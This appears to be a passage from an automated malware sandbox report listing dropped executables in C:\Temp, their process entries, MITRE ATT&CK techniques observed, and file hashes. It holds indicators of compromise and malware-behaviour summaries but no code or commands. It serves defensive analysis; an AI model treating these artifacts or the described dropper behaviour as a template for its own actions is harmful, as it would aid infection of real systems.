C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:3188

C:\Temp\cwupmhezxr.sys
C:\Temp\cwupmhezxr.sys
1⤵
- Executes dropped EXE
PID:1300

C:\Temp\hbztrljebz.sys
C:\Temp\hbztrljebz.sys
1⤵
- Executes dropped EXE
PID:6012

C:\Temp\bywqojgeyw.sys
C:\Temp\bywqojgeyw.sys
1⤵
- Executes dropped EXE
PID:3140

C:\Temp\lgebwtolge.sys
C:\Temp\lgebwtolge.sys
1⤵
- Executes dropped EXE
PID:5456

C:\Temp\aytqligdyw.sys
C:\Temp\aytqligdyw.sys
1⤵
- Executes dropped EXE
PID:4232

C:\Temp\sqkicavsnl.sys
C:\Temp\sqkicavsnl.sys
1⤵
- Executes dropped EXE
PID:4716

C:\Temp\nkfdxvpnhf.sys
C:\Temp\nkfdxvpnhf.sys
1⤵
- Executes dropped EXE
PID:796

C:\Temp\qkhfzxvsnk.sys
C:\Temp\qkhfzxvsnk.sys
1⤵
- Executes dropped EXE
PID:3140

C:\Temp\hfzxupmhfz.sys
C:\Temp\hfzxupmhfz.sys
1⤵
- Executes dropped EXE
PID:3068

C:\Temp\bzwromhecw.sys
C:\Temp\bzwromhecw.sys
1⤵
- Executes dropped EXE
PID:5208

C:\Temp\bztrmjebwu.sys
C:\Temp\bztrmjebwu.sys
1⤵
PID:5812

C:\Temp\jhbztrojge.sys
C:\Temp\jhbztrojge.sys
1⤵
PID:5192

C:\Temp\aywtoljdbv.sys
C:\Temp\aywtoljdbv.sys
1⤵
PID:4332

C:\Temp\fdyvqnigay.sys
C:\Temp\fdyvqnigay.sys
1⤵
PID:2728

C:\Temp\ifaysqcaus.sys
C:\Temp\ifaysqcaus.sys
1⤵
PID:896

C:\Temp\hfaxspkica.sys
C:\Temp\hfaxspkica.sys
1⤵
PID:2228

C:\Temp\fzxspkiczx.sys
C:\Temp\fzxspkiczx.sys
1⤵
PID:3008

C:\Temp\fzxrpmhezx.sys
C:\Temp\fzxrpmhezx.sys
1⤵
PID:2760

C:\Temp\omjecwuomh.sys
C:\Temp\omjecwuomh.sys
1⤵
PID:4224

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

CP.exe

Path C:\Temp\CP.exe
Size 4KB
SHA256 50b00a0816849edcc24eec9cfdd5443dbf33409ae05ee84202bfbcd00094485a
MD5 00d08d31f0ca0be125aa8ddb1c068a26
SHA1 c5e5cf5c0cb8a03c9146f5cd923cd620417eb75e
SHA512 6b5fe5899aa47239b53bc8dbd5ce6d9616ed2b0480fe55c34c27d6956f792a9c0796fe0dcd8949395284c3f5c59563efe333cc3e4e449fa9e9b7c219c88242a3
SSDEEP 48:i+HOtYCgTU534sKXG5BrBfdQSBe2nLB8JsU:fOWS3tpJ5un
TLSH
T11B912E2301A68472C8BD8FF711875AC9FABB51349322210C4BF70ED6EB70AB7446CB08
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

aytqligdyw.sys

Path C:\Temp\aytqligdyw.sys
Size 141KB
SHA256 5576bf36710bd52ab06f6b209cb7f7b24ad608760ae6c9cfe6334f141d479db7
MD5 87daf490fa8d41370b9b7093a848894a
SHA1 ddbf2c581134eb0822cc7043054d711f537e2afa
SHA512 ef222b25b593be77161d78ec8a97602a0fdfdb716f8efd9adc634651e878e9e135bcd32846a4f59d48e49ffb492519b978cc177b712cce0bb6aeeb44841110de
SSDEEP 3072:KsQB8BPFvdRcF8rFz1wxayNM3coteYnwrZ:KsQmpcF8BzXfwV
TLSH
T194E38D12B2D1D172E8A618BC106AC72196BE79304F76D9C3FB950BAD5E683D0B83531F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

bvtnljdayv.exe

Path C:\Temp\bvtnljdayv.exe
Size 230KB
SHA256 a9e4ed047b60a1ba9ae02fcb335cb31c048f30f6676981d2b4cb29bd4602ef2a
MD5 4752a131f3742fd301e846ec46537534
SHA1 d408e3bed011b8dec9a1eed772222949d86c23f1
SHA512 13cb1c3ae77259cfcf6a6a3bdb95e5be71a07d0ce9b6cbb8d03b8ceece9fbf1e8979f8a2bddbe29e611004367f580c61bf4e21f831971b529a6069b8a00855aa
SSDEEP 3072:SJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:SghLQ0sQmpcF8BzXfwVfAI
TLSH
T1D3344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

bywqojgeyw.sys

Path C:\Temp\bywqojgeyw.sys
Size 141KB
SHA256 4f73985ff0cf965b5213e7b6fd91241005b7f74c166fc38d74ed201f29a08870
MD5 80c23204162b19de272fcb25c4a3fd22
SHA1 94641ae4395ac9bd1dcac890bfa370c97494f019
SHA512 14b487cb6ff8ed277098c6518923708d8b5457724c8e84684d0769b2f16fe527b100e11a4d187b11812afddbcad210d24275054e2482e4dd1ca707970ac0fcd7
SSDEEP 3072:PsQB8BPFvdRcF8rFz1wxayNM3coteYnwrZ:PsQmpcF8BzXfwV
TLSH
T18FE38D02B2D1D172E8A618BC106AC72196BE79304F76D9C3FB950BAD5E683D0B93531F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

cwupmhezxr.sys

Path C:\Temp\cwupmhezxr.sys
Size 141KB
SHA256 6c7f1383e2adb644f70d11539f2c597a1d394454b9a0f450f3e66bc8b17b6c4f
MD5 e6c31fd8ffa856503346b0e7036b9fb6
SHA1 8f1e5d8ea560493904bc312b14eaaa139d8d7479
SHA512 db4083bc0b2e437476d4186b601d3e92f974a2cc55eea4cd6eb0b3cceeccddb54fc7763b398a9fe5794006932742a83c7bc863e9ecefb864eddede29b45db598
SSDEEP 3072:xsQB8BPFvdRcF8rFz1wxayNM3coteYnwrZ:xsQmpcF8BzXfwV
TLSH
T10CE38D12B2D1D172E8A618BC106AC72196BE79304F76D9C3FB940BAD5E683D0B83531F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

eywtrljgeb.exe

Path C:\Temp\eywtrljgeb.exe
Size 230KB
SHA256 057220bdb3856788f4abefc61eedf4803781344f0a81ad9170e38c3721b2bc8b
MD5 9bfc4b72d4aa9c66e4781358effa5bd6
SHA1 b91c32cbaf68fb3832202d040e5f93eb356f55de
SHA512 c1ba7c6568978fb1c81a0b4d6510442658017790dcfa3424d0459e2769510e944e65e19b180b8ebb551345de4c238a067f3e094d17a8b921d9599cbcb1e5fc4a
SSDEEP 3072:5JWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:5ghLQ0sQmpcF8BzXfwVfAI
TLSH
T1D2344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

hbztrljebz.sys

Path C:\Temp\hbztrljebz.sys
Size 141KB
SHA256 d2dc1e842229e5571fa212e2e5b538ac187ee7a58d9c11879e565ca65618126b
MD5 be080eea8ce41d552e26ae4ef53830b5
SHA1 ad4649a83e972cfbfc817c104614e0fe1fc97be9
SHA512 fce2d12024452e5c663f20c88cf5fd807a448318d77efdcdf231c81868bf67b8eed8d5d7bb9542f6399759bb04b99295a61c21499e78d19b3fe3a7019f640843
SSDEEP 3072:+sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZ:+sQmpcF8BzXfwV
TLSH
T13AE38D12B2D1D172E8A618BC106AC72196BE79304F76D9C3FB940BAD5E683D0B93531F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

hbztrmjecw.exe

Path C:\Temp\hbztrmjecw.exe
Size 230KB
SHA256 506c81d3550b4221f51084d6aeff0fb2359a67b8662f8fae709c52fbe7fd37a1
MD5 5d3dc4ec6f92882c60d0889a01eb0b27
SHA1 2496f38e01664e9c05ef9a877c337fb07a0fc53b
SHA512 d785e5067da1e266bd13f0db1797aba8ff147258351535153a2d0ebe774c812b5e49b8d411932ffa6a06bf02daa1ac9aefa99872d4da6902889db22d5cc88eea
SSDEEP 3072:gJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:gghLQ0sQmpcF8BzXfwVfAI
TLSH
T167344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

hcaupnhfzu.exe

Path C:\Temp\hcaupnhfzu.exe
Size 230KB
SHA256 4de5abbd90978f7c5f2181556f4ffc84bde78b4fbec33515996b1d7e05889366
MD5 cd1cbd8eb43845916b4b4e222980694a
SHA1 c75802421bbb2031e9880e75da4b481f2e145b76
SHA512 837932843d7cb938cdc0fb1f025a9566506b6662991d259f1a0ab52b5e1fc4d5252c36505a7502f6502b80822699887fe48ca4af727b2ffa01bea3464b5550ca
SSDEEP 3072:hJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:hghLQ0sQmpcF8BzXfwVfAI
TLSH
T1E1344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_bvtnljdayv.exe

Path C:\Temp\i_bvtnljdayv.exe
Size 230KB
SHA256 64e7e624a1faf70b0826273f2d811feb0311df97ce587c2a014000a2213a4493
MD5 facb073208a0d0d08455e872255759bb
SHA1 24cfa2fd60fb68757b0b1e3aff596dc510a56a30
SHA512 6e2dcdf46f179bb08ee28a3904b0a8270325707ae11519d790fd912228be70635bdf5450fab8c1d4ac6dc052829895fa2141a3549e2fdd032b46eb5174bbbfdb
SSDEEP 3072:aJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:aghLQ0sQmpcF8BzXfwVfAI
TLSH
T171344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_eywtrljgeb.exe

Path C:\Temp\i_eywtrljgeb.exe
Size 230KB
SHA256 ced1835b97ee38cb51286f1d26b2d02f1bf66c0ca0c52ea5ef28072265f5f212
MD5 31061c0a161cc8b2167d8903da74eda3
SHA1 4ff0d9a72201a4dc28f0b6706df22163ca69a07d
SHA512 b9076d56470c42fc65dee866eab3b38b89565944f4a06612e969d499260c426d5d529765768da9e21c6e0b37d0a45ba73bb3214c7146dca783b682f8048bc500
SSDEEP 3072:9JWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:9ghLQ0sQmpcF8BzXfwVfAI
TLSH
T188344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_hbztrmjecw.exe

Path C:\Temp\i_hbztrmjecw.exe
Size 230KB
SHA256 5c211f38ce88e0539fcbe34b7dbf33e62f5522ae4b3b627d520d2f7c27a104fd
MD5 2fbb9490e2105fef65d7516c1c9fbaf2
SHA1 a81a59a5f1be6a8612699ab87a948c73dbbfbe5a
SHA512 c65840204074b425d559eb572a3d22a6bb1514a0012088149fb55db41e266ef4fc7167081be58b2826d707e9cfe693a442b8eea323e62930c24674add7b51134
SSDEEP 3072:EJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:EghLQ0sQmpcF8BzXfwVfAI
TLSH
T1E2344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_hcaupnhfzu.exe

Path C:\Temp\i_hcaupnhfzu.exe
Size 230KB
SHA256 957f900e5d8c968365ba27db4130abe49f0f3f44e92e0f9b3c0170324835f5be
MD5 5db031ec5584a09a5b7256d4bbf8d1c0
SHA1 4e0f4b77f67f301947d4332ec3625974ebcd61b3
SHA512 740a9835eb38ffd0e3a7b9c37e96504dde62c61e89c1e1866809326bee757ccd80ae4d4295ea3d8bfbe031571ebe54b2506ec8ac7de529530547669bde895c80
SSDEEP 3072:/JWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:/ghLQ0sQmpcF8BzXfwVfAI
TLSH
T1F0344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_trljdbvtol.exe

Path C:\Temp\i_trljdbvtol.exe
Size 230KB
SHA256 98c1e4b5c9276e2983ecfc070435e543c2f5f1a5dd6690234b4b78523c5a7d60
MD5 9714372a415eed298f52f506f7643c0e
SHA1 ae6689fdacad8423f2a2c5bc08f6f58178fb2a43
SHA512 2a8ccb208c509a12eb673c1d8505f8bd2fa1ab3928bf7b4aa02f511f2b4af957937a990ecee0cffff6641ebcdb210a0a463810f9844aa05d4c83153e462b76ea
SSDEEP 3072:4IJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9s:PghLQ0sQmpcF8BzXfwVfAI
TLSH
T159344A1272808071E7550B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_xurmkhbzur.exe

Path C:\Temp\i_xurmkhbzur.exe
Size 230KB
SHA256 1caa28651b84796b7d3f2a53336d444cd3273a2a1247e8a688ce50fe5bef7290
MD5 483c76b259773edfffa07a9b78e01c7b
SHA1 e338f023ce8ef06f92c0056a393dc80ba9dab11a
SHA512 300de4ebb4c4ffe554e5270e7ed2572a5e016fa31ba228c1252f2f7c2945be56d557d0cab2f29f02c82ad09770040fc8ec9b0cd9f64b21c400ed98fe5d717b25
SSDEEP 3072:CJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:CghLQ0sQmpcF8BzXfwVfAI
TLSH
T1F0344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

lgebwtolge.sys

Path C:\Temp\lgebwtolge.sys
Size 141KB
SHA256 07bd6f0e160a82db7e6a1d5f648baa311abb1ee97136463d605ca44ed3b62ad2
MD5 a80f26458196d14fb7105a20bed36b2f
SHA1 c4c02c713f034ba8dc3ff1d06d038f36755b271e
SHA512 1384de2e28f4c4dd9bec84e4476c7be5aa047d5673aed064ebcb4a003d1f757de7ac69859e3df2dcdffa49eeb6b9aad5a36598c3e60469a6f9049654a70ae72d
SSDEEP 3072:1sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZ:1sQmpcF8BzXfwV
TLSH
T108E38D02B2D1D172E8A618BC106AC72196BE79304F76D9C3FB950BAD5E683D0B83531F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sqkicavsnl.sys

Path C:\Temp\sqkicavsnl.sys
Size 141KB
SHA256 b572f665aa330660f1a8ad2a9f70e296b6e1fd556129aa3f98f72bf8fa2ffdbf
MD5 2a86702ea72e60277efbfb503686591e
SHA1 cc407c60c959e0f0af2e52c1ad548ebf190cb58e
SHA512 4493193ee287ab569c1242920fa9ddde6437fbc8c635dad789134bdf5b4a5352161740e8518b749332eccc70aef812bd9f18d82c4f2d54724e2a7c8449a5ad22
SSDEEP 3072:dsQB8BPFvdRcF8rFz1wxayNM3coteYnwrZ:dsQmpcF8BzXfwV
TLSH
T1F8E38D02B2D1D172E8A618BC106AC72196BE79304F76D9C3FB950BAD5E683D0B83531F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

trljdbvtol.exe

Path C:\Temp\trljdbvtol.exe
Size 230KB
SHA256 d113bd7e9851631b41029195e4d8b865783d8aff65563c7e5ec7be7b689d2a48
MD5 4c58c0dd7ea98d0a8f243555f30784cd
SHA1 d9058ed4d343547b18f7478034803dabfa7b0078
SHA512 060ea530372626f5938d07f47dfb7b1205434c9b64affc823e0a17f96391db149904bf81945cbc6f054918f31bd5fdadca80e5046c091b6111a2fd1280d6d81b
SSDEEP 3072:zJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:zghLQ0sQmpcF8BzXfwVfAI
TLSH
T148344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

xurmkhbzur.exe

Path C:\Temp\xurmkhbzur.exe
Size 230KB
SHA256 341ebaf27d03a1e776e7a2d0133704a72e2f3328af927c2b31f802f56d5c9ff4
MD5 ac81e0b41fec26a0c58e994e18d75d7d
SHA1 4954eadcab9d9f1df66a167d4bf73a9657e1d2af
SHA512 c54ea9f0004bba45eb93d2505789ff5dfa7375d072a41ea7002b64a10c02069da3496ecb7f6af3038b73c89cb056389120160b659e668deda3652f5203f4d16d
SSDEEP 3072:XJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:XghLQ0sQmpcF8BzXfwVfAI
TLSH
T174344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 f8dff5315a0bd3856381f405c1a16257337fd6ff2d8043dd8bea22404cd35129
MD5 5e53a2cd139f0cce4f8ceab3e015f7da
SHA1 1bd884dbaaa352a724c53bfb8f4bfad2623c93f5
SHA512 27cc4cb62f9aa4af6b521efd824b001f3b689bae2ffe57263da18e2bb22d0b13ba656141d7e6ea1d1c202d5f461a44243a00d604f78bd5b04fe6b8512e260ac1
TLSH
T178D02B1463108D04D441F13214D13311B1110833A80C96440050E1284CB634206738DD
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 1f3bc43c50f7d0fa02f98500baf5d78052a5560603459a9325b17de989d121f4
MD5 46a6445fd2c83830bb8c6e03f85bafc0
SHA1 46b07e35efbd47692fdc81ef0e82e2964da2831b
SHA512 800f82b05756fd6fab3fe29924147f0b86afeec21da661e646b431c6ca03903eb45bb09803f5cdaf3d2d1bb16f95d0f2e53a1f9ddde57505b0f3e1580c384ed1
TLSH
T188D02B1063208C04D441F13214D23311B1010833540C96440150E1384CB634206728CD
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 2KB
SHA256 9ff6c7d594e139093e24827b8c51e7167b33f2366387b6c311c73cd56a18e0ff
MD5 ca7d54425c727eea52bc232d3fc7ded7
SHA1 dd16682d3fab387c67b5db0b60021c83a382a5ff
SHA512 12c71d3eb8eed5f5189761cdcdd2e88fccb37932a9a89cd3d1faf76205c0b12c1173685630650841c0c418af92f40c92682d32072e04eccef5cc83a7cf1aa73a
TLSH
T162513FCE5325ADE9DB6285B1D0E5501936F6B5AB42839FC048B33EF05E22F4C00EE463
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe595327.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index~RFe595327.TMP
Size 2KB
SHA256 789a51354daaf87d902914bf788406d64d52966f486899386dacf92c34843658
MD5 20106073ac9bffc86820effd82b70ba4
SHA1 3a2d8c1de9fb873ddb18dab883ee55c2e31905e9
SHA512 897871a68f44d3a388884171cda0988a0977373f89a7b3eef7771b4683c20af4f405846091652a6331f35c1a5b7fcfc4499dee417a3ece88c2204ddf5f7ee442
TLSH
T175513DCE5325ADE8DB6285B1D1E4551936F6B5AB42839FC048B33EF05E22F0C00EE463
MD5 SHA1 SHA512 TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

Edge Profile.ico

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 2KB
SHA256 caf8bec133d9fa98ca3e474cccc0ad6e41b01e1fe650f0e0362b00427344b690
MD5 349c760ae2d22b42df99f7f5f56e1099
SHA1 bcd4d4be20a94f77c675704125037cef795a75f7
SHA512 b785571f4a041c89f99efe0d5e63873fbbeef70028ed5245548460cee0827d7883bf7cce253bcfbfc18b13af48dfa978672d1d54e4d0bc52def68b89b9572cb5
TLSH
T1B251D0F3C7E8866D890156F0BB147E2BDE1D0914432C7D5AC9E4AF1BA3E2871E14195F
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Sdch Dictionaries

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries
Size 40B
SHA256 6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d
MD5 20d4b8fa017a12a108c87f540836e250
SHA1 1ac617fac131262b6d3ce1f52f5907e31d5f6f00
SHA512 507b2b8a8a168ff8f2bdafa5d9d341c44501a5f17d9f63f3d43bd586bc9e8ae33221887869fa86f845b7d067cb7d2a7009efd71dda36e03a40a74fee04b86856
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 11KB
SHA256 969683d92b220da6e04622f28438fcb411f6789305bba1c8cd7ff32478e90f6c
MD5 c9a7277da5f3b15e835442cca2fcd2e6
SHA1 848401521b1f44f9f7ce780cd37a1f18c3489356
SHA512 63c599eca566e7e36afa644c8300d2646ac04dfc826b6fbc53f8f6aa46293d2a8bc89ec2fd3b86d530e586c041146d554d7ba73246c1ca9f1fdcdec2afa9621d
SSDEEP 192:sxRhRVCk/fzsC8arZOCQzoD8p9L/g6+WNCo8fYCCuO6Gm1GIgtJ:sxRhuk/fzsC8aFOCQR/5qf0U1+3
TLSH
T16A32B5166A28993B9CC7D219BB65BF53D6F85032A1D05E48E7FC871C14EA6DD220780F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 11KB
SHA256 94eaf1a5d467d57c11e5ffad2b0981bceef8aeb3d56e1168658f7223ed1f08a6
MD5 28cb7b58f331bc6be562494ed1a673a9
SHA1 adc1a8bdedf0701c06a0dc61e92622f77a2b5a27
SHA512 45124c1eb24a5b997be8ea6a78d003f27706d339da7d4c796e810310fff7965641ded821b61bd90e8c4626f09f07b16633b18633363956dd259e887d53b654eb
SSDEEP 192:sxReRVCk/fzsN8arZOCQzoD8p9L/g6+WNCo8fYCCuO6Gm1GIgDfJ:sxReuk/fzsN8aFOCQR/5qf0U1+t
TLSH
T13742A5166E28993B9CCBD219BB55BF53D6F85032A1D06E48E7FC871C14EA6DD220780F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 12KB
SHA256 2e3e0468cb19615f7194b3f8b3db5639b4d287192f250aeeed0ffa20dda88ff9
MD5 ad63189b4506fc03b7739832258554a8
SHA1 381ecd8276cca9e107db25ad9db14cf82d91d046
SHA512 eaaf5db73de14aeaf20ef3e67412e46d002da1df66c6f67fe488b5982be47c676f212ef9bf54d3b22e3b792f1f35dfcdc6dc9c6b95539c8acaa8778aa6ab4d7c
SSDEEP 192:sxReRVCk/fzsN8+rZOCQzoD8p9L/g6+WNCo8fYCbuO6Gm1GIgDFJ:sxReuk/fzsN8+FOCQR/5qfHU1+b
TLSH
T12842B5166D28993B9CCBD219BB55BF53D6F85032A1D16E48E7FC8B1C14EA6CD220780F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 29KB
SHA256 27e603af6756cbb6b0b82007cf512f74718a7061be356aa6f0ab85b3b5bd6645
MD5 8373c1059c8433da7feeef5b6f53117f
SHA1 83d79d39df941478139d2cd289301b28476bc76e
SHA512 96a75f75c893e8a943c4b725dc946889d29caa0211af35c6f2af3c77cc345d77bc31625bfb53b9e65168f06ae386ef89ea2fd955656505c9c4e7245ef5661b03
SSDEEP 768:jC+vfN7pLuL7JQWgQ+f4+8F1+UoAYDCx9Tuqh0VfUC9xbog/OV0Y0QqcSroZ+:jC+vf7E7JQWgQ+f4+u1jaHY0VcJ8
TLSH
T1DBD2EA7B640DCB7F4F804ADDAC197A9F6DA802CB9698CD4047FAD41C02C6BEB52164DB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

OperationConfig

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\OperationConfig
Size 22KB
SHA256 d988156066b7fd22de278fbc96759d2caea6552094ffeb2ddd9307806059c5e4
MD5 f768bcb451a187c18099961c484eef8b
SHA1 99472c2d1918ea56c632734bc5c8a89ae6d2551c
SHA512 a4d78de6bcc1e940c466c41c31ee100235b32fef4cb3e7815a9c62dfae1eb3e4588d2c9e8597152ad7754527643c59ea8b811277ac58e4134a3dbf1507fe97bf
SSDEEP 384:90JOk/FY7A42lagbkDtCkQ7wDThH/64+hkmbA6BQpGMgSVlkFIum1z4tfLTvq/ue:WJOk/FY7/2lagbCtCkQ7wDlH/h+umbAJ
TLSH
T131A2B81DC81C7E3257CA2F7D6A2F9DB276DA30CA7080459A7E8CC54DD31B0AD56862BC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

OperationConfig~RFe59edf0.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\OperationConfig~RFe59edf0.TMP
Size 3KB
SHA256 8b2e057387e9714efef3580a36459acf56aab53c806cd7d7dbb6e17cef977ef9
MD5 904e6e94a1d46374c8630cfd86cc729f
SHA1 e1d9c3f7813878acc6510d48d95b2bf48b2e1a0d
SHA512 081e2a26252860ff8d8f7a9d0378ae56f0cc50574d13d2a121afdf74284963747ef874a4d73b1df7774cd8570972f4f513eefe0a0325fd088556d5b1ba946712
TLSH
T1DB815C4FCC0CBE77ABAB6A719A35D6B2F79131EA94518A977F8C444EE3050ED0242E50
MD5 SHA1 SHA512 TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 39KB
SHA256 750b32658070c4b1dc942653b4642901b771e06f980622b486c3b5df94d285cd
MD5 4a3b015621adc4c73ea6357bc66aff95
SHA1 7ccfc229ca6e1921771c78b281034ae66e1e0876
SHA512 c0a1da45539e613dea55391dd28809344b1cd18e67d3ce7aca3ccd28260490e2ea3a91ebfd7847cfefd43d8de3ebcb37d2f693b35171829525bc7342ffaca37d
SSDEEP 768:krv+4UNbdD3hdFmNp8+p3bd66j+4BRv86aLIW42bwClW:kbsbp3IL8+p3Z6n4ym0wT
TLSH
T1C303BF72E4689D339CE6C644B1867B837FF821A399C10ED4D9D96B4E005B29E270B937
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 35KB
SHA256 6c796f9d39768c8f5ffc34798d5ab71374b43e6f951d7cb705aff9fc076d98ec
MD5 adff37141b68a2e025886dbebfd1b978
SHA1 ffa54d4d8aadcf55252f0d8e7a3158a93800ae88
SHA512 b0ecedd3c09520ac47bdeb15f527e1a1673d2db7439e4d7d51827b8129de9bc6aa168fe3c05c1850a4aaacb151419f0835726fac925c36ed0ecd202c4cd0d866
